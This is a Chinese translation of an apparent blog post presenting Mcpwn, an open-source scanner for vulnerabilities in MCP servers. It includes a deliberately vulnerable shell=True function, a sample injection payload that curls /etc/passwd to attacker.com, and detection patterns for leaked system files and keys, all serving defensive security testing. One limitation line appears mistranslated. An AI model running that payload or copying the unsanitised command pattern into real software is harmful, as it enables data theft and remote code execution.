构建用于MCP服务器的安全扫描器

发布: (2025年12月14日 GMT+8 01:40)
5 min read
原文: Dev.to

Source: Dev.to

引言

模型上下文协议(Model Context Protocol,MCP)是 Anthropic 为将 AI 代理连接到外部工具和数据源而制定的新标准。在使用 MCP 服务器的过程中,我注意到一个关键缺口:没有针对它们的自动化安全测试。

MCP 服务器赋予 AI 代理强大的能力,例如文件操作、命令执行和数据库访问。单个易受攻击的工具就可能导致系统被完全妥协,而手动代码审查往往会遗漏工具参数中的注入漏洞。

漏洞示例

def execute_command(command: str):
    return subprocess.run(command, shell=True, capture_output=True)

漏洞在于未对 command 参数进行清理。AI 代理可以注入恶意负载,例如:

ls; curl http://attacker.com/exfil?data=$(cat /etc/passwd)

Mcpwn – MCP 服务器的自动化安全扫描器

Mcpwn 是一个纯 Python 扫描器,能够检测 MCP 服务器运行时的漏洞。名字取自 “MCP pwn” 的双关。

语义检测胜过崩溃检测

Mcpwn 不再仅仅寻找崩溃,而是分析响应内容中的已知模式:

  • uid=1000(user) → 命令注入
  • root:x:0:0:root → 路径遍历 / 文件读取
  • -----BEGIN PRIVATE KEY → 私钥泄漏
  • 时间偏差 → 盲注

零依赖

  • 仅使用 Python 标准库实现。
  • 无需 pip install,简化 CI/CD 集成并降低攻击面。

结构化输出

Mcpwn 可以以 JSONSARIF 格式输出发现,便于 AI 工具或 CI 流水线消费。

{
  "summary": {
    "total": 3,
    "by_severity": { "CRITICAL": 2, "HIGH": 1 }
  },
  "findings": [ /* ... */ ]
}

核心组件

core/
├── pentester.py   # 编排器(线程安全,超时处理)
├── detector.py    # 语义检测引擎
└── reporter.py    # JSON/HTML/SARIF 报告生成

已实现的检查

  • 工具参数注入(RCE、路径遍历)
  • 资源路径遍历
  • 提示注入(上下文混淆、分隔符突破)
  • 协议模糊测试(畸形 JSON‑RPC)
  • 状态不同步攻击
  • 资源耗尽

检测示例

import re

def detect_rce(response: str) -> bool:
    patterns = [
        r'uid=\d+\([^)]+\)',      # Unix 用户 ID
        r'gid=\d+\([^)]+\)',      # Unix 组 ID
        r'root:x:0:0:root'        # /etc/passwd 条目
    ]
    return any(re.search(p, response) for p in patterns)

在测试期间,Mcpwn 发现了生产环境 MCP 服务器中的 RCE 漏洞,而这些漏洞在手动审查中被遗漏。

示例扫描输出

$ python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp

[INFO] Found 2 tools, 0 resources
[WARNING] execute_command: RCE via command
[WARNING]   Detection: uid=1000(user) gid=1000(user)
[INFO] Mcpwn complete

使用方法

快速扫描(≈5 秒)

python mcpwn.py --quick npx -y @modelcontextprotocol/server-filesystem /tmp

生成 JSON 报告

python mcpwn.py --output-json report.json 

CI/CD 集成(SARIF)

python mcpwn.py --output-sarif report.sarif 

设计考量

  1. 语义检测胜过崩溃检测 – 模式匹配能够发现不会导致崩溃的数据泄漏。
  2. 线程安全 – MCP 服务器会处理并发请求;Mcpwn 对请求 ID 和健康检查使用了适当的锁。
  3. 全局超时 – 默认 10 秒超时,可配置;快速模式使用 5 秒以避免卡死。
  4. 误报缓解 – 例如,路径遍历检测需要出现两个或以上标记才会触发警报。

计划功能

  • SSRF 注入检测
  • 反序列化攻击测试
  • 模式污染检查
  • 认证绕过测试

当前局限

  • 检测配置问题,如暴露的凭证。
  • 漏掉业务逻辑缺陷和复杂的多步骤攻击链。
  • 侧重于运行时利用模式;仍需人工审查逻辑错误。

入门指南

git clone https://github.com/Teycir/Mcpwn.git
cd Mcpwn
python3 mcpwn.py --help

Mcpwn 使用 MIT 许可证,包含 45 条通过的测试,且不依赖任何外部库。

GitHub: https://github.com/Teycir/Mcpwn

讨论

您在 AI 代理基础设施的安全测试中发现哪些方法有效?欢迎分享您的想法。

Back to Blog

相关文章

阅读更多 »